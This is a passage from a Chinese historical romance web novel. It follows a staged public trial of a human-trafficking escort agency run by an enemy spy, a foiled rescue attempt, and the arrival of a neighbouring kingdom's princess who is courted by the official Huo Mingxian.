“划押。”霍鸣羡让做记录的师爷把写好的供词给李大奎划押。
“念你一片孝心的份上,判你徒三年。好好干活,你老娘在家等着你。”霍鸣羡当场作出判决。
“多谢大人开恩。”李大奎听到判决,愣了一下,他以为会被判流放,那他以后再也见不到娘了。
娘的身子才刚刚好些,要是他一走,娘再无人照顾,这和生离死别有何区别。
而被徒刑,只是为公家干活三年,母亲还能时不时来见他一面,他也能知道母亲是否安好。
霍鸣羡早已把此人的情况了解得清清楚楚。
如此又审了几个掳人的**,都是些不入流的混子,全都如李大奎这般为了一点小钱,替兴隆镖局掳人。
而兴隆镖局如此做,把自己摘得干干净净,怎么也查不到他们头上去。
“带犯人兴隆镖局镖头钱志强。”霍鸣羡继续提审。
很快,两个衙差押上来一个五大三粗的壮汉,四十左右。正是那日被赵炳煜劫镖的镖头。
也是一身狼狈,早就大刑伺候过。
浑身早已被打得皮开肉绽,走路踉踉跄跄。
“钱志强,你老实交代,那日你押的镖里藏着九个人,你可知情?”霍鸣羡问。
“知情,是总镖头让我运去漳州府的。”
“交给谁?”
“交给漳州府怡情楼里的金妈妈。”钱志强垂着头,再没有平时的锐气。
他只是受雇于兴隆镖局的镖师,因武艺不错,被分管一个镖队。
为了多挣钱,他听从镖局的安排,押送总镖头交代的那些人去往两千多里外的漳州府。
那些人,他也知道是什么人。
但都是些无权无势的民间匠人,他做的没有任何负罪感。
他在镖局干了十年,前后押过好几次人去漳州府,从没出过差错。
这是第一次翻船,遇到皇城司的人。
他想活命,只有老实交代。
他还有老母活着,不能让老母亲白发人送黑发人。
“兴隆镖局除了你们这些押镖的镖师,可还有其他武艺高强的人?”霍鸣羡继续问。
“偶有见过,但都不认识。那些人,总
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镖头从不让他们与我们一起押镖。
说是他们有他们的任务。”钱志强老实回答。
直到现在他都没搞清楚,兴隆镖局到底有多少人,都做些什么。
他只管押镖,收钱。
“前后你押过多少匠人去漳州府?”
“五次。”
当他报出五次时,百姓立刻炸开了锅。
“什么?兴隆镖局居然是做**买卖的?这一次是九人,那以前是多少人啊?”一个尖厉的声音惊呼。
“估计得上百人了。可我在阳东县生活了大半辈子,只听说这一次有人失踪,以前没听说呀。”又一人疑惑。
“肯定是别处的。”
“肃静!”霍鸣羡一拍惊堂木。
“每次都是阳东县人吗?”霍鸣羡再问。
“回大人,我只管押,人是哪里来的,不知道。”钱志强答。
“划押!”
师爷又把写好的记录给钱志强看后按下手印。
而此时的赵炳煜在对面二楼上,静静注视着下面。
眼睛不停扫视着全场。
“头儿,马上就要提审兴隆镖局的总镖头了。”余征既期待又激动。
“注意好百姓,如果真引出那些人,百姓定会骚乱。”赵炳煜作出这个安排,也是深思熟虑了好久。
但为了方便那些人劫场,赵炳煜把公堂摆到县衙外面来。
如果是在县衙里,他们未必会行动。
劫狱更是自投罗网的举动,那些人更会小心谨慎。
唯有这种做法才会引得他们动手。
霍鸣羡又一声高喊:“带兴隆镖局总镖头刘崇毅。”
也是一身衣衫褴褛。身上多处被刑具伺候过。
可他并没有佝偻下他的腰,而是面无表情,腰板挺得笔直。
头发虽散乱,但那双眼睛却如鹰隼般扫了周围一眼。
当他看到一个人影混在百姓中时,什么反应都没有,而是继续向前走,直走到公堂前。
“跪下。”衙差一声厉喝。
然,他却纹丝不动。
衙差踹了一脚在他的腿弯才跪下,可他仍然把腰挺得直直的。
“刘崇毅,你是我南楚之人吗?”霍鸣羡开始审问。
第129章 不管姑娘愿不愿意,把人抱起
然,刘崇毅却只是狠狠地盯了霍鸣羡一眼,什么话也不说。
“刘崇毅,你还不快老实交代,本官被你坑惨了啊。”县令大人忍不住叫起来。
他本想平平安安混满三年,结果出了这么大的案子在他的任期,他恨不得吃了刘崇毅的肉。
霍鸣羡横了他一眼,吓得县令大人脖子一缩,不敢再多言。
“刘崇毅,你最好老实交代,不然等着你的不止是大刑伺候,我们迟早会找出你的家人,诛你九族。”
可刘崇毅还是不说话。
骨头真硬。
在牢里,赵炳煜就单独拷问多次,却问不出一句话。
用刑也没用,他除了痛得大叫,就是一句话不说。
他在阳东县整整二十年,却没人见过他的家人。
他从二十岁那年就来了阳东县,自己一手创立兴隆镖局。
二十年前的信息完全没有,他当时只是一个流民。
他在阳东县落了户,登记的信息是从北城逃难来的。
霍鸣羡等了几息,他还是不说话。
“你不说是吗?你看看这是什么?”霍鸣羡拿出一本从密室里得来的账本,当然是誊抄的。
一个衙差接过拿到刘崇毅面前,翻了两页给他看。
刘崇毅面无表情扫了一眼,眼神锐利,目中含着凶光。
就在这时,刘崇毅突然从地上站起,一脚将面前的衙差抓到手里。
手上的铁链迅速绕在衙差脖子上。
与此同时,从百姓中跃出十几道身影,冲向刘崇毅。
“主子,快走。”一个头戴方巾的男子扶着刘崇毅,正要举剑一剑杀了衙差。
衙差一个侧身躲过,再一躬身,向地上一扑,连带着刘崇毅一起被甩到地上。
同一时间,百姓中又跃出几人,与之前的十几人战在一起。
百姓惊叫着四散逃走。
一时之间,整个县衙门口乱成一团。
百姓也知道不能往刚才的公堂位置逃。
赵炳煜在对面楼上,看百姓逃得差不多,一挥手,几十个弓箭手齐齐向对面射出。
可就在此时,一声女子的惊叫声传进了霍鸣羡的耳朵里。
那声音虽淹没在众多叫喊声中,但他还是分辨了出来。
因为那声音叫的是:公主。
霍凝玉也听到了。
公主?
兄妹俩不约而同扫向百姓们刚才站的地方。
当真看到一个女子倒在地上。
只一眼,霍鸣羡就认出了她,霍凝玉也同样认出来。
“青风,跟着。”霍凝玉眼神一冷。
在混战中,青风开路,向那倒地的姑娘奔去。
在一群**中穿梭,危险重重。
霍家跟来的护卫祝风也不停挥舞手中长剑,护在主子身边。祝风堪堪挡住了一剑,又有剑杀到。
那些**都知道霍鸣羡是替县令审案的人,身份一定不简单,都想杀了他。
赵炳煜见霍鸣羡兄妹居然没有按之前商量好的躲进县衙,反而向外走,不知道发生了什么事。
立刻从窗户跃下,飞奔而来。
其实前后不过几息时间。
皇城司的兵士已团团围拢住整个公堂。
赵炳煜刚赶到,正好接住一柄刺向霍鸣羡的剑。
“发生什么事了?”他急急问道。
霍鸣羡却没空回答,推开围拢过来的一个兵士,向倒地的姑娘跑去。
一个丫鬟模样的女子正要扶她起来,可是扶了一半,那女子又跌回地上。
“好疼。”
霍鸣羡小跑上前。
那姑娘正在摸自己的脚踝。
“是不是扭到脚了?”霍鸣羡见她的动作,蹲下身,想要查看。
他一说话,那姑娘抬起头来。
四目相视。
姑娘的眼里闪着泪花,估计太疼,忍不住。
可看到霍鸣羡的那一刻,眼中明显光芒闪动。
“好疼。”姑娘又委屈地叫疼。
霍鸣羡心一揪,如遭针刺。
“大哥,快把人抱进县衙里去。”霍凝玉在后面轻轻推了推他。
霍鸣羡从那一汪秋水中回过神。
立刻伸出手,不管姑娘愿不愿意,直接穿过姑娘的腋下和腿弯,把人抱起。
而此时,混战已经控制住。
上百兵士齐齐出动,拿十几个人,还有弓箭,自是小菜一碟。
赵炳煜看得目瞪口呆。
什么情况?
那姑娘入了鸣羡的眼?
可是看穿着,就是一般小户人家的姑娘。
长得倒是美艳动人。
不是说好来接应东临六公主的吗?
霍鸣羡抱着人进了县衙后堂,把人轻轻放在一张软榻上。
“哪里疼?”霍鸣羡担忧又关心的口吻,是个人都听得出来。
“脚踝。”姑娘小声说道。
但眼神却不离霍鸣羡。
看着他蹲下身,撩起她的裙子,又抬起她的右脚,在她的脚踝上摸了又摸。
整个过程她
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的眼睛都跟着他的动作转动。
两人都没有说话,跟着一起进来的丫鬟想出声,被女子给瞪了一眼,只得乖乖站在旁边看着自家主子。
霍鸣羡摸到女子脚踝有点不正常,明显是脚崴了。
“忍着点。”霍鸣羡提醒了一声。
不给女子准备的时间,逮住女子的脚,转了一下,用力一拉,再一送。
“啊!”女子发出一声尖叫,“疼**。”
霍凝玉看得愣住。
大哥什么时候学会了这一招,居然会正骨。
“下地试试,看看还疼不疼?”霍鸣羡说道。
“不下。”小姑娘别扭地把头偏向一边,不理人。
霍凝玉在两人身上来回看。
他们之间发生过什么事吗?
两人都没相互见个礼,也没说身份,就那么自然地一个关心,一个耍脾气。
霍凝玉很想叫六公主,可她从没见过她,而是死后飘在空中见过。
没错,这女子就是东临六公主萧婉仪。
“不下就不下。你不是很厉害吗?怎么被人给挤一下就摔到了地上?”霍鸣羡故意抬杠。
“哼,本公主今日刚到这里,又不知道你安排了一场大戏,只顾着看你审案了,哪里知道突然会冲出那么多**。一时不慎,才摔倒的。”萧婉仪越说越委屈。
她用计脱离队伍,想偷偷先进京,私下找霍鸣羡问个清楚。
结果刚一进阳东县就听百姓们在议论,户部尚书家的大公子要公开审案。
她哪里还忍得住,跟着人群就来了县衙。
当真看到了她最想见的人。为了不打扰他审案,藏在人群中。
谁知道会突然发生**。被混乱的人群给挤得摔倒在地。
她又不像那些百姓,想快速逃离。她是要找霍鸣羡的。
“你为何在此?你不是还有几天才到的吗?你的护卫呢?别告诉我你一个也没带。”霍鸣羡突然脸色变得严肃。
霍凝玉看得呆住,大哥怎么这样训人?又不是自家妹妹。
用这样的语气训她还差不多。
可这训的是邻国公主啊。
“注意点,要懂得怜香惜玉。”霍凝玉实在忍不住,扯了扯大哥的衣袖。
“你是谁?”萧婉仪这才分出点心思看别人,一见是个女子在拉霍鸣羡。
传回去的消息不是说他退亲了吗?
身边怎么还有女的跟着他?
问出的话带着凌厉,眼神带着省视。
第130章 东临六公主脸红
霍凝玉不但没生气,反而笑着上前一步。
“见过六公主,我叫霍凝玉,是他的亲妹妹。我大哥可疼我了,从来不凶我,而他刚才凶你,要不要我打他两下给你出气?”霍凝玉故意“挑拨离间。”
而心里却升起强烈的好奇之心。
两人在东临肯定有故事。
“好啊,给本公主打,居然敢如此冒犯本公主,要是在我东临皇宫,这么不懂规矩的人,本公主定会让人乱棍打死再扔到乱葬岗去。”萧婉仪立刻摆出公主的架子。
“啊?”霍凝玉呆住,没按自己想的发展啊。
他们之间到底发生过什么事?
“大哥,还不快点道歉。”霍凝玉很快转过弯来。
她怎么可能真打自己的大哥。
“是在下唐突了公主殿下,给你赔不是。”霍鸣羡当真一揖到底。
看到他诚意道歉,萧婉仪又红了脸,眼神闪烁。
“原谅你了。”声如细蚊。
而站在一旁的赵炳煜早就看明白,也知道了这姑娘的身份。
“在下南楚皇城司使赵壑,见过东临六公主。”
“你就是赵壑?母妃提起过你,皇舅舅身边最得力的人就数你了。”萧婉仪一点不怕他的钟馗面具。
就在这时,门外传来打斗声。
赵炳煜出去,很快带进来两个男子。
两人一见到萧婉仪,立刻跪地:“属下来迟,公主可安好?”
正是跟着的护卫,可是一乱起来,两人被冲远了,等追过来,就看到公主被一个男子给抱进了县衙。
他们想进来,可是被拦住,又不能报出身份,只说他们的主子进了县衙。
可今日这情况,皇城司的兵士怎么可能让陌生人进去,最终硬闯。
“起来吧,梁骐先去给本公主找一顶轿子在外面候着,卓俊回使团,告诉卢大人,南楚皇城司会护本公主安全。”萧婉仪吩咐跟来的两个护卫。
“是。”
两人见主子安全,一颗提着的心才放下,转身离去。
“你胆子也太大了,一国公主,竟然只带了两个护卫一个丫鬟就敢离开使团。你要是有个万一,你让我南楚皇如何向东临皇交代?”霍鸣羡又开始数落。
“本公主做事,要你管。你是本公主什么人?”梁婉仪又发起脾气来。
她千里迢迢来南楚,可不是来听他数落的。
“公主殿下,我哥是担心你遇到危险。”霍凝玉笑着打圆场。
看来大哥还不懂怎么哄女子开心,就知道训斥。
由此可见大哥是真当六公主是自己人了。
两人的故事一定要打听一下。
“真的?”这话取悦了萧婉仪。
“当然,我听我哥说起过你。说你文采斐然,还会骑马射箭,还会琴棋书画,是他望尘莫及的奇女子。他都被你给比下去了。”霍凝玉拣最好听的来说。
霍凝玉的话成功安慰到了萧婉仪。
萧婉仪脸蛋红到了耳根,抬眼扫了霍鸣羡一眼,又快速低下头。
小女儿的娇态让几人都看在眼里。
霍鸣羡摸了摸鼻子。
他除了哄过自己妹妹,从没哄过其他女子。一看到她不顾自身安危胡来,他就气不打一处来。
自下定决心来迎东临六公主,他就默默在心里把她当自己家的人了。
又想到在东临那半个月的事,他更是心如火烧般热烫。
“凝玉,你陪着六公主,我与鸣羡先出去把后续事情处理了。”赵炳煜打断短暂的寂静。
他们的计划还没结束。
两人出了内衙,就看到畏畏缩缩的县令大人程文远站在廊下徘徊。
刚才**一冲出来,他就吓得本能躲进县衙。
“赵大人,霍公子,那些人都已押入大牢关好。”程文远舔着脸,笑得十分谄媚。
“去通知驿馆,洒扫干净,东临六公主已到。”赵炳煜留下一句话,出了内衙。
两人来到县衙门口。
几个衙差正在清洗地上的血迹。
一些大胆的百姓远远看着。
余征拿了铜锣,用力一敲。
“歹人已全部拿下,大家无须害怕,大人有话要说,请大家奔走相告,到县衙门口来。”
百姓们本就爱看热闹,并没有跑多远,都想知道后续。
没多久,又都回到县衙门口。
霍鸣羡站到台阶上,目视百姓好奇的目光。
“各位乡亲,刚才让大家受惊了,可有人因此受伤?”霍鸣羡先关心百姓的身体。
那些**就隐在人群中,要劫场时,全都进了衙差们围成的圈里。
百姓立刻就四散逃了。
“霍
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公子,小的只是摔了一跤,没啥大事。您快说,我们都等着听呢。”有个汉子高声回道。
“今日本公子在县衙大门外设公堂,其实就是一出诱敌之计,把歹人一网打尽。好在如愿以偿,一个也没放跑,全都抓进了县衙大牢。
阳东县发生如此大案,百年不遇。想来大家都想知道具体是怎么回事。”
“是啊,到底怎么回事啊?”有百姓疑惑问道。
他们只看到刚才审案时,都是审掳人,却不知道他们为什么要掳那些糙老爷们。
其中只有一个姑娘。
很不正常。
以前他们听说的都是姑娘或者小孩被掳或者被卖。还是头一次听到拐卖糙汉的。
霍鸣羡压了压手,又继续道:“阳东县九人失踪案皆是兴隆镖局所为。
兴隆镖局的总镖头应是西凉安插在我南楚的细作。
目前他还没有老实交代身份,但我们从镖局的密室中找到了几个账册和记录册。
上面记了这些年来他们卖去北地的人口。全部是有一技之长的匠师。
都是从全国各地掳来这里,转运至漳州府,再送往西凉。
除了这件事,他们还劫杀我南楚武举人。刚才冲入公堂想要劫人的十八人,全是兴隆镖局养的**,前后二十年间杀了我南楚五十多名武举人。
这才导致我南楚武将人才匮乏。
又觊觎我南楚的匠才,掳我南楚匠人为他们所用。
西凉一直以来觊觎我南楚的物产,想要吞并我南楚,如此恶行,震耳发聩。
乡亲们,守护南楚不是只靠边关的将士,还需全国的百姓齐心协力,如果以后再发现此类事件,定要报官。
同时你们也把今日之事传扬出去,让更多百姓知道西凉的罪行。”
霍鸣羡说得铿锵有力,站在台阶上如一呼百应的将军。
一身月白色长袍,在微风下轻轻飘动,又如下凡的神仙,在救万民于水火。
他的话引得一片哗然,百姓个个都义愤填膺。
“该死的西凉人。”
目的达到。
县衙内,霍凝玉和萧婉仪聊得很投机。
话题慢慢引到霍鸣羡身上。
“六公主,能说说你和我大哥在东临时是怎么比试的吗?”
霍凝玉好奇得不得了。
第131章 娶她为妻
一问到这个,萧婉仪的脸又微微发烫起来。
“也没什么,就是在国子监比试两国学子的文采。
当时我女扮男装也在国子监读书。
我被先生选中参与比试。
学子们都摩拳擦掌想要赢过南楚的学子。
我也不例外,结果在比试诗文时,你哥独占鳌头,让我很是挫败。
我就用了一个大儒写的诗,稍作修改来参与比试。
你哥居然读到过那首诗,非说我是抄袭,不肯认输,与我大吵了一架。
他的那些同窗都让他不要较真,他就是死脑筋,硬要给我难看。”萧婉仪说得嘴巴撅得老高。
好像受了天大的委屈。
“那是我哥不知道你是女扮男装,要是知道你是女子,肯定让着你,不会让你难看。”霍凝玉安慰道。
“眼真瞎,我第一天扮男装去国子监,好些同窗一眼就看出来,就他那么迂腐。”
其实当时,萧婉仪为骗过霍鸣羡而沾沾自喜。
就连他们的带队先生都看出来,就他看不出来。
但没人敢说出来,都知道她是东临六公主。
“那后来他是怎么知道的?”霍凝玉越发好奇。
“嘿嘿,在国宴上,我带了面纱上场跳舞,每次跳到他面前,就故意靠近他,吓得他把手里的酒杯都掉到了地上。
当时可滑稽了,他直接向后仰,然后摔了个四仰八叉,酒水洒了一身,引得哄堂大笑。
我把他吓成那样,只得拉他起来,结果我的面纱正好掉了,当他看到我的面容时,应该认出了我,又被惊得跌回地上,结果把我也带倒,摔在他身上。”
说到这里,萧婉仪的脸更红了。
“后来呢?”霍凝玉想到后面肯定还有故事。
“当着那么多人的面,我与他有了肌肤之亲。母妃就说,让我嫁给他。可是我才不要嫁给一个都不知道喜不喜我的人。
那日后,我以请教学问为借口,找机会与他多次相见。
想试探他对我是否有意,结果他无动于衷,还训斥我不知道羞。
最后我只得直接说出口,要嫁给他。
他却说家中已给他定了亲,年后就成亲。
我说让他回去退亲再娶我,他却说君子一诺重若千斤,怎可因一个不小心的身体接触就要毁了另一个女子的终身。
我堂堂一国公主,他竟然如此对我。气得我直接找父皇下令,让他们滚得远远的,哼!”说到最后,萧婉仪气愤得直哼哼。
“呃......”听到这里,霍凝玉可以肯定六公主心里已经装下了大哥。
而前世她来南楚,见到大哥与大嫂已经成亲,且大嫂都已经有了身孕,她不得不黯然离去。
从此错过一生。
而这一世,陈芳蓠因她的流言而主动退了亲。
一切都变了。
变得好!
“六公主,我大哥就是那性子,读书读迂腐了,不懂变通。
不过这种人有个最大的优点,一旦认准了自己的伴侣,永远不会变心。
是一个非常有责任心的男人。”霍凝玉得多夸自家大哥,而且大哥的确是这样的好男人。
不然六公主肯定会找大哥麻烦,虽说欢喜冤家,但有时也有适得其反的时候。
还有个慧兰县主在打大哥的主意呢。
现在大公主虽还没有主动提出,但大哥殿试过后,大公主肯定就不会再等。
赵炳煜和霍鸣羡又在阳东县待了三天。
把程文远在职期间的无为无能调查了个一清二楚,同时还查到他收**赂五万多两银子。
每个商家,作坊他一个都不放过,每家虽没给多少,但合在一起却是一个庞大的数目。
赵炳煜写了折子回京,只用了两天时间圣上免职的文书就到了阳东县。
赵炳煜让主簿暂代县令处理日常事务,等殿试过后,自有新的县令安排过来。
这两日,霍鸣羡也忙个不停,把县令积下的一些公务及时处理,都没空去驿馆看看两个姑娘。
四月二十五。
东临使团队伍到达阳东县。
霍鸣羡和霍凝玉陪着使团进京。
赵炳煜押着兴隆镖局的一众**,跟在使团后面。
这样的大案,必须经大理寺再过审一遍才能做出最终判决。
如此奇特的队伍引得百姓驻足观看。
赵炳煜早就把这个案子的消息传回了京。
说书先生这两天又是轮番讲皇城司使是如何破了这起大案的。
把赵炳煜和霍鸣羡说得神乎其神,英武不凡。
皇城司官兵英武勇猛,把一群**打得落花流水,只短短时间就把那些**不眨眼的**给拿下。
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又说霍鸣羡气势迫人,审案时,吓得犯人不敢狡辩半句,问什么就答什么,是南楚未来的青天大老爷。
“太欺负人了,我要投军去,非打的西凉再不敢来犯。”有个血性少年高声喊道。
“对,我们不能总是被动出击,等我孙子再长大点,也送去投军。”一个老汉也豪情万丈。
霍凝玉听着外面百姓的议论声,脸上扬起淡淡的微笑。
果然把这个案子让百姓知道是对的,让百姓生出投军打西凉的热情。
破了此案,以后再也不会有人杀南楚的武学人才。
每次选拔武学人才都只有一百多人来,那些**的人实在太可惜了。
“说不定我东临也有这样的黑暗势力。不行,本公主要写一封信回去告诉父皇,让东临各处官员留意一下,要是北魏也如西凉这么可恶,本公主也要投军去。”萧婉仪也生出投军的热情。
“公主会武?”霍凝玉吃惊。
“本公主特意女扮男装入国子监读书,君子六艺是必学的,当然会一些啦。”萧婉仪有些小傲娇。
父皇宠她,她是唯一一个去国子监读书的公主。
霍凝玉有些羡慕她有此经历。
霍鸣羡骑着马就护在两人坐的马车旁,听着两位姑娘聊着各种话题。时不时透过车窗望一眼车里的两人。
心里却回忆着在东临的情景。
那半个月时间里,六公主就来找过他四次,每次都以请教某个问题而来。
可她总不经意向他靠近,有一次还故意倒在他怀里。
那时他有未婚妻,不敢亵渎公主,如被针扎似的,突然把公主推得摔在地上。
公主被气得给了他一巴掌,可他不敢有怨言。
他不是傻子,当然看出六公主的意思。
可他不能。
直到那晚赵炳煜说出东临六公主会来南楚,而她就是挡慧兰县主的最佳人选,他才开始慢慢回忆起两人那几次的相处。
越想他的心越温暖。
她是想嫁给他的。
而他越想,心里的那份渴望也越烈。
“娶她为妻”,这四个字总在他心里不停沸腾,直到见到她的那一刻,想也不想就把人抱起,没有一点君子该有的顾忌。
“霍鸣羡。”一个娇俏的女声从他的头顶传来,打断了他的回忆。
第132章 孙儿的质问
霍鸣羡抬起头,就看到旁边茶楼二楼窗户伸出一个脑袋,正在向他挥手,脸上的笑容明媚。
正是慧兰县主。
慧兰县主一直以为霍鸣羡在府里温书。
母亲告诉她,等殿试过后,端午宫宴上,就向外祖父请旨赐婚。
谁知她却听到他去阳东县办案的消息,让她大吃一惊。
还没殿试,又没官职,他怎么能替阳东县的县令审案?
所以今日特意在这儿等着他们进京。
当真看到一队人马进京,还有一辆华丽的马车,后面跟着数名护卫。
她知道是东临六公主来了,但并没有多想。
霍鸣羡出于礼貌,只是淡淡向慧兰县主点了点头,继续前进。
“那人是谁?”萧婉仪当然也看到了向霍鸣羡挥手的女子。
“是大公主的女儿,慧兰县主,今年已经十六岁,还没定亲。”霍凝玉介绍,特意说了她的年龄和婚配情况。
萧婉仪眼神一凝,又看了一眼二楼的慧兰县主,随即面色冷了下来。
南楚大公主是谁,她的大表姐。当年不肯和亲东临,皇舅舅只得送她的母妃去和亲。
父皇整整比母妃大了二十岁,而大表姐却在南楚京城过得逍遥自在。
她曾问过母妃,可恨大表姐。
母妃却说,这就是生为皇家人的命运。
可她知道母妃远离故土,去一个完全陌生的地方生活,多么无助。
每每望着南楚的方向发呆,她就知道母妃想念家乡了。
好在父皇为了维护两国关系对她们母女还不错。
她虽不是最得宠的公主,但也没人敢欺负她。
只是没想到最后她也走上母妃的路,不过她是自愿的,只要那个男子爱她疼她。
想到这儿,她又看了一眼窗外正瞄向她的霍鸣羡。
被逮了个正着,但萧婉仪却大胆与之对视。
几息后两人才不约而同移开视线。
这一幕被霍凝玉看在眼里,喜在心里。
那什么陈芳蓠怎么能和六公主比。
她已看出大哥对六公主动了情。
有情人成眷属才是人间最美满的姻缘。
听着百姓的各种议论,霍鸣羡把人送到使馆,交给礼部官员,并交代一定要照顾好六公主。
可在回府的路上又遇到慧兰县主,并拦下他。
“霍大公子,后天就要殿试了。你怎得还出京那么久?可会影响你殿试?”慧兰县主一副关心的模样。
“多谢县主关心。”霍鸣羡只淡淡拱了拱手,并没有下马。
“慧兰县主,我哥胸有成竹,你这是出门**妹玩吗?”霍凝玉从马车里伸出头来,打断两人。
“霍小姐也跟着去了阳东县?不会是你想出去玩,让你大哥陪你吧?
要真是这样,你也太过分了,明知道霍大公子要殿试,却耽误他这么宝贵的时间。
就算他再胸有成竹也没有万全的把握,一定保住第一名吧?”
慧兰县主自以为是地猜测,说话的语气带着强势和责备。
“县主,我大哥宠我,没办法。在他心里,我这个妹妹实在太重要了,比他殿试还重要。”霍凝玉笑得一脸甜蜜,有哥宠,就是幸福。
她想看看,慧兰县主知道大哥心里她这个妹妹比谁的分量都重,她会是什么表现。
果然,慧兰县主微笑的脸慢慢淡了下来,看霍凝玉的眼神有些不善。
都是县主,而霍凝玉却有食邑,她还有大哥宠,还有父母宠。
慧兰县主想到自己的高贵又可耻的出生,眼睛危险地眯起。
她对皇室的规矩和外祖父的不满又上升了一个台阶。
同时心里早就有的一个想法更加蠢蠢欲动。
“提前祝霍大公子殿试也夺得魁首。”慧兰县主留下一句,匆匆离去。
脚步带着一丝狠厉。
她要见父亲。
赵炳煜让人把**都押入刑部大牢,直接进宫向圣上复命。
赵凌哲正好也在御书房。
赵炳煜把案子仔细讲了一遍。
乾德帝还没说什么,赵凌哲却义愤填膺。
“简直欺人太甚,皇祖父,西凉人太可恶了。我父王体弱就是西凉人干的。
上次孙儿被拍花子的抓去,也是要卖去西凉,现在又查出西凉人杀我南楚这么多武人,还掳我南楚这么多匠人。
一桩桩,一件件,我们就这么一直忍气吞声吗?”
乾德帝静静地坐在龙椅上,阳光从窗棱透进来,照在他布满皱纹的脸上,投下深深浅浅的阴影。
他听着孙儿激昂的控诉,目光却渐
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渐飘远,仿佛穿透了重重宫墙,望见了南楚**江山。
“凌哲啊,”良久,他才缓缓开口,声音带着老年人特有的沙哑,“你以为皇祖父不想发兵西凉吗?”
他微微前倾身子:“朕登基二十二年,这二十二年里,西凉犯边最大的战争有五次,大大小小的摩擦,数都数不清。”
赵凌哲还想说什么,却被皇帝抬手止住。
“你可知道,这些年来南面水患,朝廷拨了多少赈灾银两?北方三州大旱,又减免了多少赋税?”
乾德帝慢慢站起身,赵炳煜连忙上前搀扶。
乾德帝走到御书房一侧的疆域图前,目光沉痛。
“打仗,打的是粮草,是银子,是千万百姓家儿郎的身家性命。
我南楚男儿都是各家的劳动主力,不敢大量招入军营。
没有男人种地,哪里来的粮草?
且我南楚地处南方,一年四季都要伺弄地里的庄稼。
不然哪里来的国富民强。
还有最重要的一点,我南楚的马匹品种与西凉和北魏不同,偏小,耐力也差,与他们比,骑兵弱了很多。
而西凉的骑兵是他们最大的杀器。
我南楚国库虽没到捉襟见肘的地步,但处处都要用钱,发放官员俸禄,修桥铺路,工程建设,灾荒救济,军队开支等等。”
赵凌哲看着祖父略显佝偻的背影,忽然意识到他那原本挺拔的身姿,不知何时已变得这般苍老。
龙袍穿在他身上,竟显得有些空荡。
“可是皇祖父,难道我们就一直这样忍下去吗?”赵凌哲的声音低了下来,却仍带着不甘。
乾德帝转过身,深深望着还不到七岁的孙儿,又缓缓走回龙椅。
“孩子,朕接过你太祖父手里的担子时,已经三十岁,那时正遇西凉和北魏同时来犯我边境,势要趁我南楚皇权更替时,狠狠撕下一大块肉。
那时朕的几个兄弟为了夺皇位,都想置朕于死地,而不顾国家安危。
那一仗整整打了两年多,把国库消耗一空,还向东临借了钱粮才平息下去,那两年多,我南楚男儿**整整三十万。
多少百姓家失去儿子,丈夫和父亲。
朕的心痛到麻木。
南楚整整休养了十年才缓过来。”
第133章 亲上加亲
乾德帝重新坐下,说话激动了些,剧烈地咳嗽了一阵,赵炳煜连忙递上茶水。
乾德帝抿了一口,继续说道:“朕老了,唯一的愿望,就是把这江山平平安安地交到下一代手中,不能再起战乱。”
御书房内一时寂静,只有烛火噼啪作响。
忽然,乾德帝的目光变得锐利起来,他紧紧盯着赵凌哲。
“但是凌哲,你要记住西凉欠下的血债。等你将来长大了,执掌兵权,等你有了足够的把握......”
乾德皇帝的声音陡然提高,带着不容置疑的威严。
“一定要替朕,替南楚,把西凉打痛!打得他们十年、二十年甚至更久都不敢再犯我边境!打得他们听到南楚军威就闻风丧胆!这是朕对你的期望。”
赵凌哲浑身一震,看着祖父眼中骤然迸发的光芒,那是一种被岁月掩埋却从未熄灭的火焰。
他郑重跪地:“孙儿谨记皇祖父教诲,必不负皇祖父所望。”
乾德帝疲惫地靠回椅背,挥了挥手:“去吧,好好长大。将来……就看你的了。”
他的话意有所指,但小小年纪的赵凌哲不知是否有听懂。
望着孙儿离去时挺直的背影,乾德帝轻声对赵炳煜叹道:“朕这一生,守成有余,开拓不足。但愿儿孙们,能完成朕未尽的心愿。”
“会的。”赵炳煜也不知如何安慰年迈的皇伯父。
要不是因为皇伯父年迈,他早就去了边关。
“等大理寺和刑部审核之后,朕再写国书送去西凉,朕也不会那么软弱,朕会让边军加强训练,下次再有战事时,一定不轻易放过他们。
今年武试也选了几个人才出来,那个叫钟离洛的不错,到时让他带兵出征,正好他大伯镇守凉州府。”
翌日早朝,东临六公主以使臣的身份入宫觐见。
“东临皇室萧氏婉仪拜见南楚皇,南楚皇万福金安。”萧婉仪盈盈拜下。
“平身,你是朕的皇妹之女,就叫朕皇舅舅吧。不必拘礼,南楚就是你的外祖家,虽你外祖已不在,但朕这个舅舅也一样亲。”乾德帝笑呵呵把人叫起。
这是他第一次见这个外甥女,长得真是标致,大大的眼睛看着人时,如在说话。
亭亭玉立的身姿胜过天下无数美人,和皇妹有几分相似。
当年让皇妹和亲,本是希望和亲某个王子,结果东临皇却自己收用。
“是,皇舅舅。外甥女在出发之前,父皇有交代,希望皇舅舅能为外甥女在南楚择婿,为两国邦交更添纽带,也慰母妃的思乡之情。
母妃希望外甥女能时时写信告诉她南楚京城的一草一木的变化,还有她认识的旧人可都还好。”萧婉仪当即说出自己出使的目的。
“哈哈.....好好。我南楚与东临向来睦邻友和,如此更是亲上加亲。”乾德帝高兴大笑。
当年就是东临的支持,他才坐稳了皇位。
而这一消息让京里又起了一个小小的波澜。
公主和亲,一般不是皇帝就是皇子,最差也是嫡支宗亲。
也不知道东临公主会选谁下嫁。
而乾德帝已经年迈,又是六公主的亲舅舅,不可能收入宫中,那么只有皇子最有可能。
乾德帝有六子,最小的一个都已十八岁,且已经定下正妃,今年八月就要成亲。
这六公主无论嫁给哪个皇子都是妾。
这就让一些宗亲的心热络起来。
要是娶了东临六公主,那就是维系两国邦交的使者。以后的荣华富贵怎么也能再维持三代。
然而辰王和霁王却不这么想。
东临的公主不能做皇后,但可以做皇妃。
要是先娶回家做侧妃.......之后的路,是不是更好走一些。
四月二十八。
所有贡士们盼着的殿试正式开始。
就在崇华殿举行。
一大早,贡士们依次接受禁卫检查全身,再入宫。
霍鸣羡遇到鲁谦昀时,两人相视而笑,一切尽在不言中。
乾德帝亲自抽题监考。
他很看重这次殿试,之前的几件事让官场空缺了好些人,正好这次殿试过后都能补上那些空缺。
他漫步在考生之间,每个人身边,他都驻足片刻。
当停留在霍鸣羡身边时,时间稍长些,看他一笔一画写出一个个工整的字。
时间到,收卷。
当日就组织阅卷,三日后放榜。
殿试没有落榜的,但名次会有所变化。
会试第一次名未必就是状元。
五月一日,殿试放榜之日,同时也是状元游街之日。
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这一日,从皇宫大门开始,一直到最繁华的玄武大街,都挤满了看热闹的人。
